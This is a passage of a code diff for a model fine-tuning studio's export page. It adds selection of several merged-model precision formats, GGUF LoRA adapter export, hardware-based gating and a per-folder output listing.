const response = await authFetch("/api/export/export/lora", {
method: "POST",

51
studio/frontend/src/features/export/components/export-run-panel.tsx
View file

@ -28,7 +28,11 @@ import {
import { HugeiconsIcon } from "@hugeicons/react";
import { useEffect, useRef, useState } from "react";
import { useShallow } from "zustand/react/shallow";
import { EXPORT_METHODS, type ExportMethod } from "../constants";
import {
EXPORT_METHODS,
type ExportMethod,
findMergedFormat,
} from "../constants";
import type { ExportLogEntry } from "../api/export-api";
import { getExportLogLineClass } from "../lib/log-style";
import {
@ -200,6 +204,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
const summaryMethodLabel = summary?.methodLabel ?? methodTitle;
const summaryQuants = summary?.quantLevels ?? quantLevels;
const summaryMethod = summary?.method ?? exportMethod;
const summaryFormats = (summary?.mergedFormats ?? []).map(
(v) => findMergedFormat(v)?.label ?? v,
);
const showProgress = isExporting || isTerminal;
return (
@ -392,14 +399,32 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
? "Export finished and pushed to Hugging Face Hub."
: "Export finished successfully."}
</span>
{run.result?.outputPath ? (
<code
className="select-all break-all font-mono text-[12px] text-foreground/90"
title={run.result.outputPath}
>
{run.result.outputPath}
</code>
) : null}
{(() => {
// List every folder written; a multi-format merged run created one per format.
const paths = run.result?.outputPaths ?? [];
const items =
paths.length > 0
? paths
: run.result?.outputPath
? [{ label: "", path: run.result.outputPath }]
: [];
const showLabels = items.length > 1;
return items.map((o, i) => (
<div key={`${o.path}-${i}`} className="flex min-w-0 flex-col gap-0.5">
{showLabels && o.label ? (
<span className="text-xs text-emerald-700/80 dark:text-emerald-300/80">
{o.label}
</span>
) : null}
<code
className="select-all break-all font-mono text-[12px] text-foreground/90"
title={o.path}
>
{o.path}
</code>
</div>
));
})()}
</div>
</div>
)}
@ -432,6 +457,14 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
<span>Export Method</span>
<span className="font-medium text-foreground">{summaryMethodLabel}</span>
</div>
{summaryMethod === "merged" && summaryFormats.length > 0 && (
<div className="flex justify-between gap-3">
<span>Formats</span>
<span className="font-medium text-foreground text-right">
{summaryFormats.join(", ")}
</span>
</div>
)}
{summaryMethod === "gguf" && summaryQuants.length > 0 && (
<div className="flex justify-between">
<span>Quantizations</span>

168
studio/frontend/src/features/export/constants.ts
View file

@ -55,34 +55,172 @@ export const QUANT_OPTIONS: {
{ value: "f16", label: "F16" },
];
/** Merged-export precision formats. The compressed-tensors ones run llm-compressor for vLLM. */
export type MergedFormat =
| "16-bit (FP16)"
| "FP8 (compressed-tensors)"
| "NVFP4 (compressed-tensors)";
/**
* Merged-export precision formats, sorted by bit width. Three backends:
* - "plain": standard save (16-bit); `formatType` is the backend `format_type`.
* - "compressed": llm-compressor compressed-tensors (vLLM), NVIDIA-only; `value` is the alias.
* - "torchao": portable FP8/INT8, no NVIDIA GPU needed; `value` is the alias.
* `common` entries are quick pills, the rest the "More formats" dropdown; `needsNvidia` entries
* are hidden on non-NVIDIA hardware.
*/
export type MergedBackend = "plain" | "compressed" | "torchao";
export const MERGED_FORMATS: {
value: MergedFormat;
export type MergedFormatOption = {
value: string;
label: string;
bits: number;
backend: MergedBackend;
group: string;
common: boolean;
needsNvidia: boolean;
needsCalibration?: boolean;
hint: string;
}[] = [
/** Backend `format_type` for a "plain" save (unused for compressed/torchao). */
formatType?: string;
};
/** Kept as a string alias for back-compat with callers that typed the old union. */
export type MergedFormat = string;
export const MERGED_FORMATS: MergedFormatOption[] = [
// 16-bit
{
value: "16-bit (FP16)",
value: "16-bit",
label: "16-bit",
bits: 16,
backend: "plain",
group: "16-bit",
common: true,
needsNvidia: false,
hint: "Full precision, runs anywhere.",
formatType: "16-bit (FP16)",
},
// 8-bit
{
value: "fp8",
label: "FP8",
bits: 8,
backend: "compressed",
group: "FP8",
common: true,
needsNvidia: true,
hint: "Dynamic per-token FP8 (W8A8) for vLLM. Data-free.",
},
{
value: "FP8 (compressed-tensors)",
label: "FP8 (vLLM)",
hint: "compressed-tensors FP8 for vLLM. Needs an NVIDIA GPU.",
value: "torchao_fp8",
label: "FP8 (portable)",
bits: 8,
backend: "torchao",
group: "Portable",
common: true,
needsNvidia: false,
hint: "Device-agnostic FP8 (torchao). Produces on any hardware; loads in vLLM.",
},
{
value: "NVFP4 (compressed-tensors)",
label: "NVFP4 (vLLM)",
hint: "compressed-tensors NVFP4 for vLLM. Needs an NVIDIA GPU; calibrates.",
value: "w8a8",
label: "INT8 (W8A8)",
bits: 8,
backend: "compressed",
group: "INT",
common: true,
needsNvidia: true,
hint: "8-bit weights and 8-bit activations for vLLM. Data-free.",
},
{
value: "torchao_int8",
label: "INT8 (portable)",
bits: 8,
backend: "torchao",
group: "Portable",
common: true,
needsNvidia: false,
hint: "Device-agnostic INT8 (torchao). Produces on any hardware; loads in vLLM.",
},
{
value: "fp8_static",
label: "FP8 Static",
bits: 8,
backend: "compressed",
group: "FP8",
common: false,
needsNvidia: true,
needsCalibration: true,
hint: "Static per-tensor FP8. Calibrates on data.",
},
{
value: "w8a16",
label: "INT8 (W8A16)",
bits: 8,
backend: "compressed",
group: "INT",
common: false,
needsNvidia: true,
hint: "8-bit weight-only. Data-free.",
},
{
value: "mxfp8",
label: "MXFP8",
bits: 8,
backend: "compressed",
group: "MXFP",
common: false,
needsNvidia: true,
hint: "Microscaling FP8. Needs a newer compressed-tensors stack.",
},
// 4-bit
{
value: "w4a16",
label: "INT4 (W4A16)",
bits: 4,
backend: "compressed",
group: "INT",
common: true,
needsNvidia: true,
hint: "4-bit weight-only (GPTQ-style) for vLLM. Data-free.",
},
{
value: "mxfp4",
label: "MXFP4",
bits: 4,
backend: "compressed",
group: "MXFP",
common: true,
needsNvidia: true,
hint: "Microscaling FP4 (W4A4) for vLLM. Data-free.",
},
{
value: "nvfp4",
label: "NVFP4",
bits: 4,
backend: "compressed",
group: "FP4",
common: true,
needsNvidia: true,
needsCalibration: true,
hint: "NVIDIA FP4 (W4A4) for vLLM. Calibrates on data.",
},
];
/** Look up a merged format option by its stable value. */
export function findMergedFormat(value: string): MergedFormatOption | undefined {
return MERGED_FORMATS.find((f) => f.value === value);
}
/** Backend payload for one merged format: plain -> formatType, compressed/torchao -> the alias. */
export function mergedFormatPayload(value: string): {
formatType: string;
compressedMethod: string | null;
} {
const opt = findMergedFormat(value);
if (!opt || opt.backend === "plain") {
return {
formatType: opt?.formatType ?? "16-bit (FP16)",
compressedMethod: null,
};
}
return { formatType: "16-bit (FP16)", compressedMethod: opt.value };
}
/**
* llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16.
* K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0

501
studio/frontend/src/features/export/export-page.tsx
View file

@ -24,6 +24,19 @@ import {
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
DropdownMenu,
DropdownMenuCheckboxItem,
DropdownMenuContent,
DropdownMenuLabel,
DropdownMenuSeparator,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import {
Alert,
AlertDescription,
AlertTitle,
} from "@/components/ui/alert";
import { Separator } from "@/components/ui/separator";
import { Spinner } from "@/components/ui/spinner";
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
@ -63,11 +76,14 @@ import {
type ExportMethod,
GUIDE_STEPS,
MERGED_FORMATS,
type MergedFormat,
type MergedFormatOption,
mergedFormatPayload,
QUANT_OPTIONS,
buildQuantSizeLabels,
getEstimatedSize,
} from "./constants";
import { useHardwareInfo } from "@/hooks/use-hardware-info";
import { usePlatformStore } from "@/config/env";
import {
isExportPanelActive,
useExportRuntimeStore,
@ -78,6 +94,10 @@ import { exportTourSteps } from "./tour";
const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
// GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims
// not divisible by the block size (32); no "auto" - the choice is explicit.
const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const;
type SourceTab = "local" | "checkpoint" | "hf";
type SourceMode = "checkpoint" | "model";
@ -109,7 +129,16 @@ function buildRelativeSaveDirectory(
: sourceBaseModelName;
return `${safePathSegment(rawName)}-GGUF`;
}
return `${selectedModelIdx ?? "model"}/${checkpoint}`;
// Merged / LoRA: a checkpoint keeps the "<run>/<checkpoint>" layout under outputs.
if (sourceMode === "checkpoint" && selectedModelIdx && checkpoint) {
return `${selectedModelIdx}/${checkpoint}`;
}
// Local / HF source (no checkpoint): name from the model id to avoid "model/null".
const rawName =
sourceMode === "checkpoint"
? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
: sourceBaseModelName;
return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`;
}
function siblingGgufDirectory(sourcePath: string): string | null {
@ -177,9 +206,57 @@ export function ExportPage() {
});
// GGUF importance matrix (required for the IQ quants) and merged-export precision.
const [useImatrix, setUseImatrix] = useState(false);
const [mergedFormat, setMergedFormat] = useState<MergedFormat>("16-bit (FP16)");
// IQ quants are imatrix-only, so force it on when one is selected; otherwise we would submit
// an IQ quant with no imatrix and llama.cpp would reject it.
// Merged precision: one or more MERGED_FORMATS values, exported in one run. Seed from a live run
// so navigating away and back (which remounts this page) keeps the selection, like exportMethod.
const [selectedFormats, setSelectedFormats] = useState<string[]>(() => {
const s = useExportRuntimeStore.getState();
return isExportPanelActive(s) &&
s.summary?.method === "merged" &&
s.summary.mergedFormats.length > 0
? s.summary.mergedFormats
: ["16-bit"];
});
// LoRA-only export: optionally also emit a GGUF LoRA adapter, and its output float type.
const [loraAsGguf, setLoraAsGguf] = useState(false);
const [loraGgufOuttype, setLoraGgufOuttype] = useState<string>("q8_0");
// GGUF method: export the full model as GGUF quants, or (for an adapter checkpoint) a GGUF LoRA.
const [ggufTarget, setGgufTarget] = useState<"model" | "lora">("model");
const hardware = useHardwareInfo();
// GGUF LoRA conversion is rejected on the macOS / MLX path, so gate it out on a Mac host.
const isMacHost = usePlatformStore((s) => s.deviceType) === "mac";
// Real CUDA (not ROCm); gates the NVIDIA-only compressed-tensors formats.
const hasNvidia = hardware.cuda != null && hardware.rocm == null;
// Only gray out on an authoritative unsupported response; while unloaded the backend route guard
// stays authoritative. The backend supplies the precise reason; the fallback below is a backstop.
const exportUnsupported =
hardware.loaded && hardware.exportSupported === false;
const exportUnsupportedMessage =
hardware.exportUnsupportedMessage ??
"Export requires a supported accelerator (NVIDIA, AMD, or Intel GPU, or Apple Silicon) with PyTorch or MLX installed.";
const availableFormats = useMemo<MergedFormatOption[]>(
() =>
MERGED_FORMATS.filter((f) => {
// compressed-tensors (llm-compressor) is the NVIDIA path; shown only on an NVIDIA GPU.
if (f.backend === "compressed") return hasNvidia;
// Portable torchao is the fallback for hosts without the NVIDIA compressed path, i.e. a
// CPU / non-NVIDIA box. Hidden on NVIDIA (use compressed-tensors) and on macOS/MLX (the
// backend rejects quantized export there).
if (f.backend === "torchao") return !hasNvidia && !isMacHost;
// Plain 16-bit is available everywhere.
return true;
}),
[hasNvidia, isMacHost],
);
const toggleFormat = useCallback((value: string) => {
setSelectedFormats((prev) =>
prev.includes(value)
? prev.filter((v) => v !== value)
: [...prev, value],
);
}, []);
// availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed.
// IQ quants are imatrix-only: force imatrix on when one is selected, else llama.cpp rejects it.
const requiresImatrix = quantLevels.some(
(q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix,
);
@ -304,6 +381,11 @@ export function ExportPage() {
const baseModelName = selectedModelData?.base_model ?? "—";
const isAdapter = !!selectedModelData?.peft_type;
const isQuantized = !!selectedModelData?.is_quantized;
// isAdapter / isQuantized come from the checkpoint's metadata and are stale in "model" source
// mode (a direct base export), so treat both as false outside checkpoint mode to avoid wrongly
// gating the methods.
const effectiveIsAdapter = sourceMode === "checkpoint" && isAdapter;
const effectiveIsQuantized = sourceMode === "checkpoint" && isQuantized;
const loraRank = selectedModelData?.lora_rank ?? null;
const trainingMethodLabel = selectedModelData?.peft_type
? "LoRA / QLoRA"
@ -416,25 +498,30 @@ export function ExportPage() {
setCheckpoint(null);
}, [selectedModelIdx]);
// For a ?run= deep link, default to the run's main checkpoint. Declared after
// the reset effect above so it runs last and isn't clobbered back to null.
// Default to the newest checkpoint when none is chosen (checkpoints are sorted newest-first).
// Declared after the reset effect above so it runs last and isn't clobbered back to null. Covers
// both a ?run= deep link and a plain finetune opened without an explicit checkpoint pick.
useEffect(() => {
if (appliedRunRef.current == null) return;
if (appliedRunRef.current !== selectedModelIdx) return;
if (sourceMode !== "checkpoint") return;
if (checkpoint != null || checkpointsForModel.length === 0) return;
setCheckpoint(checkpointsForModel[0].display_name);
}, [selectedModelIdx, checkpoint, checkpointsForModel]);
}, [sourceMode, selectedModelIdx, checkpoint, checkpointsForModel]);
// Auto-reset export method if incompatible with the selected model type
useEffect(() => {
if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) {
// Only LoRA needs a real adapter; Merged and GGUF work for non-PEFT base models too.
if (!effectiveIsAdapter && exportMethod === "lora") {
setExportMethod(null);
}
// Quantized non-PEFT models can't export to any format
if (!isAdapter && isQuantized && exportMethod !== null) {
if (!effectiveIsAdapter && effectiveIsQuantized && exportMethod !== null) {
setExportMethod(null);
}
}, [isAdapter, isQuantized, exportMethod]);
// The GGUF LoRA target only applies to an adapter checkpoint on a non-Mac host.
if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") {
setGgufTarget("model");
}
}, [effectiveIsAdapter, effectiveIsQuantized, exportMethod, isMacHost, ggufTarget]);
const handleSourceTabChange = useCallback((next: string) => {
if (next === "checkpoint") {
@ -442,7 +529,7 @@ export function ExportPage() {
} else if (next === "hf" || next === "local") {
setSourceMode("model");
setModelSource(next);
setExportMethod("gguf");
// Don't force GGUF: Local / HF sources can export Merged too; a stale LoRA pick auto-resets.
} else {
return;
}
@ -508,10 +595,26 @@ export function ExportPage() {
sourceMode,
]);
const saveDirectory = customSaveDirectory?.trim() || defaultSaveDirectory;
// Each merged format uploads a full model to the repo root, so several to one repo would collide.
// GGUF method exporting an adapter checkpoint as a GGUF LoRA (vs full-model quants). Reuses the
// LoRA-adapter export path; no quant list needed.
const ggufAsLora =
exportMethod === "gguf" &&
ggufTarget === "lora" &&
effectiveIsAdapter &&
!isMacHost;
// Restrict a Hub merged export to a single format; multi-format stays available for local export.
const hubMultiFormat =
destination === "hub" && exportMethod === "merged" && selectedFormats.length > 1;
const canExport = !!(
selectedExportSource &&
exportMethod &&
(exportMethod !== "gguf" || quantLevels.length > 0)
!exportUnsupported &&
!hubMultiFormat &&
(exportMethod !== "gguf" || ggufAsLora || quantLevels.length > 0) &&
(exportMethod !== "merged" || selectedFormats.length > 0)
);
const applyHfSourceModel = useCallback((value: string) => {
@ -576,9 +679,14 @@ export function ExportPage() {
const handleStart = useCallback(async () => {
const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
if (!source || !exportMethod) return;
// A GGUF export with no quant selected runs zero exports yet would still
// settle as success with no file; require at least one (mirrors canExport).
if (exportMethod === "gguf" && quantLevels.length === 0) return;
// No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit.
if (exportUnsupported) return;
// GGUF with no quant, or merged with no format, would run an unintended/empty export; require
// at least one (mirrors canExport, in case the panel's Start button bypasses the outer one).
if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0) return;
if (exportMethod === "merged" && selectedFormats.length === 0) return;
// A Hub merged push writes each format to the repo root; several would collide (mirrors canExport).
if (hubMultiFormat) return;
const selectedCp = sourceMode === "checkpoint"
? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
@ -591,8 +699,13 @@ export function ExportPage() {
? `${hfUsername}/${modelName}`
: undefined;
const token = pushToHub && hfToken ? hfToken : undefined;
const methodLabel =
EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod;
// The GGUF method with the LoRA target reuses the LoRA-adapter export path.
const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod;
const emitLoraGguf =
ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost);
const methodLabel = ggufAsLora
? "GGUF LoRA adapter"
: (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod);
const adapterExport = sourceMode === "checkpoint" && isAdapter;
// Consent gate for an HF source's custom (auto_map) code, run before we hand
@ -624,11 +737,16 @@ export function ExportPage() {
trustRemoteCode,
approvedRemoteCodeFingerprint,
loadToken: hfToken || null,
exportMethod,
exportMethod: effectiveMethod,
isAdapter: adapterExport,
quantLevels,
useImatrix: effectiveImatrix,
mergedFormat,
mergedSelections: selectedFormats.map((v) => ({
...mergedFormatPayload(v),
label: MERGED_FORMATS.find((f) => f.value === v)?.label ?? v,
})),
loraGguf: emitLoraGguf,
loraGgufOuttype,
saveDirectory,
destination,
repoId,
@ -639,8 +757,9 @@ export function ExportPage() {
baseModelName: sourceBaseModelName,
checkpointLabel: selectedExportSource,
methodLabel,
method: exportMethod,
method: effectiveMethod,
quantLevels,
mergedFormats: exportMethod === "merged" ? selectedFormats : [],
destination,
},
});
@ -656,7 +775,13 @@ export function ExportPage() {
isAdapter,
quantLevels,
effectiveImatrix,
mergedFormat,
selectedFormats,
hubMultiFormat,
ggufAsLora,
loraAsGguf,
isMacHost,
loraGgufOuttype,
exportUnsupported,
destination,
saveDirectory,
hfUsername,
@ -1163,75 +1288,303 @@ export function ExportPage() {
</div>
</div>
{exportUnsupported && (
<Alert variant="destructive">
<HugeiconsIcon icon={AlertCircleIcon} className="size-4" />
<AlertTitle>Export unavailable</AlertTitle>
<AlertDescription>{exportUnsupportedMessage}</AlertDescription>
</Alert>
)}
<MethodPicker
value={exportMethod}
onChange={handleMethodChange}
disabledMethods={
!isAdapter && isQuantized
exportUnsupported
? ["merged", "lora", "gguf"]
: !isAdapter || sourceMode === "model"
? ["merged", "lora"]
: []
: !effectiveIsAdapter && effectiveIsQuantized
? ["merged", "lora", "gguf"]
: !effectiveIsAdapter
? ["lora"]
: []
}
disabledReason={
!isAdapter && isQuantized
? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
: sourceMode === "model"
? "Only GGUF export is available for direct model export"
: !isAdapter
? "Not available for full fine-tune checkpoints (no LoRA adapters)"
exportUnsupported
? exportUnsupportedMessage
: !effectiveIsAdapter && effectiveIsQuantized
? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
: !effectiveIsAdapter
? "LoRA-only export needs a LoRA adapter checkpoint"
: undefined
}
/>
{exportMethod === "merged" && isAdapter && (
<div className="space-y-2">
<div className="text-sm font-medium">Precision</div>
<div className="flex flex-wrap gap-2">
{MERGED_FORMATS.map((f) => (
<Button
key={f.value}
type="button"
variant={mergedFormat === f.value ? "default" : "outline"}
size="sm"
onClick={() => setMergedFormat(f.value)}
title={f.hint}
>
{f.label}
</Button>
))}
</div>
<div className="text-xs text-muted-foreground">
{MERGED_FORMATS.find((f) => f.value === mergedFormat)?.hint}
{exportMethod === "merged" && !exportUnsupported && (
<div className="space-y-3">
<div className="space-y-2">
<div className="flex items-center justify-between">
<div className="text-sm font-medium">Precision</div>
<span className="text-[11px] text-muted-foreground/70">
— select one or more
</span>
</div>
<div className="flex flex-wrap gap-2">
{availableFormats
.filter((f) => f.common)
.map((f) => {
const active = selectedFormats.includes(f.value);
return (
<Button
key={f.value}
type="button"
variant={active ? "default" : "outline"}
size="sm"
onClick={() => toggleFormat(f.value)}
title={f.hint}
>
{f.label}
{f.needsCalibration ? " *" : ""}
</Button>
);
})}
{availableFormats.some((f) => !f.common) && (
<DropdownMenu>
<DropdownMenuTrigger asChild={true}>
<Button type="button" variant="outline" size="sm">
More formats
{selectedFormats.some((v) =>
availableFormats.find(
(f) => f.value === v && !f.common,
),
)
? " ✓"
: "…"}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="start" className="w-64">
<DropdownMenuLabel>
Additional formats
</DropdownMenuLabel>
<DropdownMenuSeparator />
{availableFormats
.filter((f) => !f.common)
.map((f) => (
<DropdownMenuCheckboxItem
key={f.value}
checked={selectedFormats.includes(f.value)}
onCheckedChange={() => toggleFormat(f.value)}
onSelect={(e) => e.preventDefault()}
>
<span className="flex flex-col">
<span>
{f.label}
{f.needsCalibration ? " *" : ""}
</span>
<span className="text-[10px] text-muted-foreground">
{f.hint}
</span>
</span>
</DropdownMenuCheckboxItem>
))}
</DropdownMenuContent>
</DropdownMenu>
)}
</div>
{selectedFormats.length > 0 && (
<div className="flex flex-wrap items-center gap-x-3 gap-y-1">
<span className="text-[11px] text-muted-foreground">
{selectedFormats.length} selected:{" "}
{selectedFormats
.map(
(v) =>
MERGED_FORMATS.find((f) => f.value === v)
?.label ?? v,
)
.join(", ")}
</span>
{selectedFormats.length > 1 && (
<button
type="button"
onClick={() => setSelectedFormats(["16-bit"])}
className="text-[11px] text-muted-foreground/70 hover:text-foreground transition-colors"
>
Reset to 16-bit
</button>
)}
</div>
)}
{hubMultiFormat && (
<div className="text-[11px] text-amber-600 dark:text-amber-500">
Hub export supports one format at a time (each writes to
the repository root). Select a single format, or export
locally to produce several at once.
</div>
)}
{selectedFormats.some(
(v) =>
MERGED_FORMATS.find((f) => f.value === v)
?.needsCalibration,
) && (
<div className="text-[11px] text-muted-foreground">
* calibrates on data (uses a small calibration set).
</div>
)}
{!hasNvidia && (
<div className="text-[11px] text-muted-foreground">
No NVIDIA GPU detected: compressed-tensors formats are
hidden. 16-bit and portable FP8/INT8 (torchao) still
work here and load in vLLM.
</div>
)}
</div>
</div>
)}
{exportMethod === "gguf" && (
<>
<QuantPicker
value={quantLevels}
onChange={setQuantLevels}
sizes={quantSizeLabels}
/>
<div className="flex items-center justify-between gap-3 rounded-lg border p-3">
<div className="space-y-0.5">
<div className="text-sm font-medium">
Importance matrix (imatrix)
{exportMethod === "lora" && effectiveIsAdapter && !exportUnsupported && (
<div className="space-y-3">
<div className="space-y-2">
<div className="text-sm font-medium">Adapter format</div>
<div className="flex flex-wrap gap-2">
<Button
type="button"
variant={!loraAsGguf ? "default" : "outline"}
size="sm"
onClick={() => setLoraAsGguf(false)}
title="Standard PEFT adapter (adapter_model.safetensors)."
>
Adapter (safetensors)
</Button>
<Button
type="button"
variant={loraAsGguf ? "default" : "outline"}
size="sm"
disabled={isMacHost}
onClick={() => setLoraAsGguf(true)}
title={
isMacHost
? "GGUF LoRA export is not available on macOS/MLX. Use the safetensors adapter."
: "llama.cpp GGUF LoRA, loadable with `llama-cli --lora`."
}
>
GGUF adapter
</Button>
</div>
<div className="text-xs text-muted-foreground">
{isMacHost
? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter."
: loraAsGguf
? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
: "Standard PEFT adapter files. Pair with the base model at inference."}
</div>
</div>
{loraAsGguf && (
<div className="space-y-1.5">
<div className="text-sm font-medium">Output type</div>
<Select
value={loraGgufOuttype}
onValueChange={(v) => setLoraGgufOuttype(v)}
>
<SelectTrigger className="w-full sm:w-56">
<SelectValue />
</SelectTrigger>
<SelectContent>
{LORA_GGUF_OUTTYPES.map((t) => (
<SelectItem key={t} value={t}>
{t.toUpperCase()}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
)}
</div>
)}
{exportMethod === "gguf" && !exportUnsupported && (
<div className="space-y-3">
{effectiveIsAdapter && !isMacHost && (
<div className="space-y-2">
<div className="text-sm font-medium">Export target</div>
<div className="flex flex-wrap gap-2">
<Button
type="button"
variant={ggufTarget === "model" ? "default" : "outline"}
size="sm"
onClick={() => setGgufTarget("model")}
title="Merge the adapter into the base model, then quantize the full model to GGUF."
>
Full model
</Button>
<Button
type="button"
variant={ggufTarget === "lora" ? "default" : "outline"}
size="sm"
onClick={() => setGgufTarget("lora")}
title="Export just the adapter as a GGUF LoRA (llama.cpp `--lora`); the base model stays separate."
>
LoRA adapter
</Button>
</div>
<div className="text-xs text-muted-foreground">
{requiresImatrix
? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
: "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
{ggufTarget === "lora"
? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
: "Merges the adapter into the base model, then quantizes the full model to GGUF."}
</div>
</div>
<Switch
checked={effectiveImatrix}
onCheckedChange={setUseImatrix}
disabled={requiresImatrix}
/>
</div>
</>
)}
{ggufAsLora ? (
<div className="space-y-1.5">
<div className="text-sm font-medium">Output type</div>
<Select
value={loraGgufOuttype}
onValueChange={(v) => setLoraGgufOuttype(v)}
>
<SelectTrigger className="w-full sm:w-56">
<SelectValue />
</SelectTrigger>
<SelectContent>
{LORA_GGUF_OUTTYPES.map((t) => (
<SelectItem key={t} value={t}>
{t.toUpperCase()}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
) : (
<>
<QuantPicker
value={quantLevels}
onChange={setQuantLevels}
sizes={quantSizeLabels}
/>
<div className="flex items-center justify-between gap-3 rounded-lg border p-3">
<div className="space-y-0.5">
<div className="text-sm font-medium">
Importance matrix (imatrix)
</div>
<div className="text-xs text-muted-foreground">
{requiresImatrix
? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
: "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
</div>
</div>
<Switch
checked={effectiveImatrix}
onCheckedChange={setUseImatrix}
disabled={requiresImatrix}
/>
</div>
</>
)}
</div>
)}
{estimatedSize && (
<div className="flex items-center gap-1.5 text-xs text-muted-foreground">

116
studio/frontend/src/features/export/stores/export-runtime-store.ts
View file

@ -5,7 +5,6 @@ import { create } from "zustand";
import {
cancelExport,
cleanupExport,
exportBase,
exportGGUF,
exportLoRA,
exportMerged,
@ -119,6 +118,8 @@ export interface ExportRunSummary {
methodLabel: string;
method: ExportMethod;
quantLevels: string[];
/** Merged: the selected format values (for the summary "Formats" row and to reseed the picker). */
mergedFormats: string[];
destination: ExportDestination;
}
@ -140,8 +141,16 @@ export interface RunExportParams {
quantLevels: string[];
/** GGUF: use an importance matrix (auto-download); required for the IQ quants. */
useImatrix?: boolean;
/** Merged: precision/format ("16-bit (FP16)" or a compressed-tensors option). */
mergedFormat?: string;
/** Merged: precision formats, each exported to its own sibling directory. Defaults to 16-bit.
* `label` is the display name for the success banner's per-format output line. */
mergedSelections?: {
formatType: string;
compressedMethod: string | null;
label: string;
}[];
/** LoRA: also emit a GGUF LoRA adapter (llama.cpp `--lora`), and its output float type. */
loraGguf?: boolean;
loraGgufOuttype?: string;
saveDirectory: string;
destination: ExportDestination;
repoId?: string;
@ -172,7 +181,13 @@ interface ExportRuntimeState {
* settling the run by polling /api/export/status instead. Logs keep streaming. */
reconnecting: boolean;
startedAt: number | null;
result: { outputPath: string | null; destination: ExportDestination } | null;
/** `outputPath` is the first path (back-compat); `outputPaths` is one entry per written folder
* so a multi-format merged run can list every sibling directory it created. */
result: {
outputPath: string | null;
outputPaths: { label: string; path: string }[];
destination: ExportDestination;
} | null;
error: string | null;
cancelRequested: boolean;
hasHydrated: boolean;
@ -317,6 +332,10 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
phase: "success" as const,
result: {
outputPath: status.last_op_output_path ?? null,
// A run recovered from the backend only knows the last output path.
outputPaths: status.last_op_output_path
? [{ label: "", path: status.last_op_output_path }]
: [],
destination: state.result?.destination ?? "local",
},
};
@ -351,7 +370,9 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
const quantTotal =
params.exportMethod === "gguf"
? Math.max(1, params.quantLevels.length)
: 1;
: params.exportMethod === "merged"
? Math.max(1, params.mergedSelections?.length ?? 1)
: 1;
set({
runId,
@ -431,67 +452,72 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
}
if (!isCurrent()) return;
// 2. Run the export. Capture the resolved output_path for the success
// banner; multi-quant GGUF shares one directory, so keep the last.
// 2. Run the export. Collect every resolved output_path so the success
// banner can list each sibling directory a multi-format run created.
set({ phase: "exporting" });
let lastOutputPath: string | null = null;
const outputs: { label: string; path: string }[] = [];
if (params.exportMethod === "merged") {
if (params.isAdapter) {
// Each selected format writes its own sibling directory (PEFT or non-PEFT base alike).
const selections =
params.mergedSelections && params.mergedSelections.length > 0
? params.mergedSelections
: [{ formatType: "16-bit (FP16)", compressedMethod: null, label: "16-bit" }];
for (let i = 0; i < selections.length; i += 1) {
if (!isCurrent()) return;
set({ quantIndex: i });
const sel = selections[i];
const { outputPath } = await runRecoverableOp(() =>
exportMerged({
save_directory: params.saveDirectory,
format_type: params.mergedFormat,
format_type: sel.formatType,
compressed_method: sel.compressedMethod,
push_to_hub: pushToHub,
repo_id: params.repoId,
hf_token: params.token,
private: params.privateRepo,
}),
);
lastOutputPath = outputPath;
} else {
const { outputPath } = await runRecoverableOp(() =>
exportBase({
save_directory: params.saveDirectory,
push_to_hub: pushToHub,
repo_id: params.repoId,
hf_token: params.token,
private: params.privateRepo,
base_model_id: params.baseModelId,
}),
);
lastOutputPath = outputPath;
}
} else if (params.exportMethod === "gguf") {
for (let i = 0; i < params.quantLevels.length; i += 1) {
if (!isCurrent()) return;
set({ quantIndex: i });
const quant = params.quantLevels[i];
const { outputPath } = await runRecoverableOp(() =>
exportGGUF({
save_directory: params.saveDirectory,
quantization_method: quant,
push_to_hub: pushToHub,
repo_id: params.repoId,
hf_token: params.token,
imatrix: params.useImatrix,
}),
);
lastOutputPath = outputPath ?? lastOutputPath;
if (outputPath) outputs.push({ label: sel.label, path: outputPath });
if (!isCurrent()) return;
